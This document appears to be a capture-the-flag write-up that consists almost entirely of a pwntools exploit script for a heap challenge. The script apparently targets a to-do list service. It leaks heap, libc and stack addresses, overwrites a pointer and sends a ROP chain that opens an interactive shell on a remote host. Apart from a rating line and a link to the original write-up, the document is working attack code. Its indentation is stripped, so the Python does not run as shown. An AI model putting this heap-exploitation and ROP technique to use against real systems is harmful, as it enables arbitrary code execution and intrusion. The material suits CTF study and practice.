Rating:

> https://uz56764.tistory.com/125

```py
from pwn import *

#p = process('./chall')
p = remote("172.20.36.128", 61408)

def add_to_do(name, content_length, content):
name = name if type(name) == bytes else name.encode()
content = content if type(content) == bytes else content.encode()

p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Input name:', name)
p.sendlineafter(b'Input content size:', str(content_length).encode())

if content_length != 0:
p.sendlineafter(b'Input content:', content)
else:
p.sendlineafter(b'Input content:', b'4')

def mark_as_done(indexes, insert_index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'Input index:', ','.join(map(str, indexes)).encode())
p.sendlineafter(b'Input insert index:', str(insert_index).encode())

dummy_count = 7

for i in range(dummy_count):
add_to_do(f'Dummy{i}', 0, '')

mark_as_done([0], 0)

add_to_do(f'______', 4097, 'A')

mark_as_done(range(dummy_count - 1), 0)

nn = 0x400
add_to_do(f'targetX', nn, 'contentX')

p.sendlineafter(b'>', b'4')

p.recvuntil(b'targetX\n')
p.recvn(8)
heap_base = u64(p.recvn(8)) - 0x3f10
print(f'heap_base = {hex(heap_base)}'); raw_input()

time.sleep(0.5)
p.sendlineafter(b'>', b'4')

p.recvuntil(b'content: ')

data = p.recvn(nn)

for i in range(0,7):
print(i)
data = data[:0x120] + p64(heap_base+0xc00+0x400*i) + data[0x120+0x8:]

time.sleep(0.1)
p.sendline(b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)

p.sendlineafter(b'>', b'4')

#p.recvuntil(b'\x7f')
libc_base = u64(p.recvuntil(b'\x7f', timeout=3)[-6:].ljust(8,b'\x00'))
if libc_base != 0:
break
p.clean()
libc_base = libc_base - 0x1fed30
print(f'libc_base = {hex(libc_base)}'); raw_input()

data = data[:0x120] + p64(libc_base+0x206258) + data[0x120+0x8:]

p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)

p.sendlineafter(b'>', b'4')

p.recvuntil(b'[01]: name: targetX')

stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3b0
print(f'stack = {hex(stack)}'); raw_input()
#0x00007fff2e32edf8

data = data[:0x120] + p64(stack) + data[0x120+0x8:]
p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'0')
p.sendlineafter(b':', data)

pay = b''

pay += p64(libc_base+0x0000000000028ac2)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x0000000000028795)
pay += p64(libc_base+0x1c041b)
pay += p64(libc_base+0x552b0)

pay += p64(0xdeadbeef)

p.sendlineafter(b'>', b'3')
p.sendlineafter(b':', b'1')
p.sendlineafter(b':', pay)

p.interactive()
```

Original writeup (https://uz56764.tistory.com/125).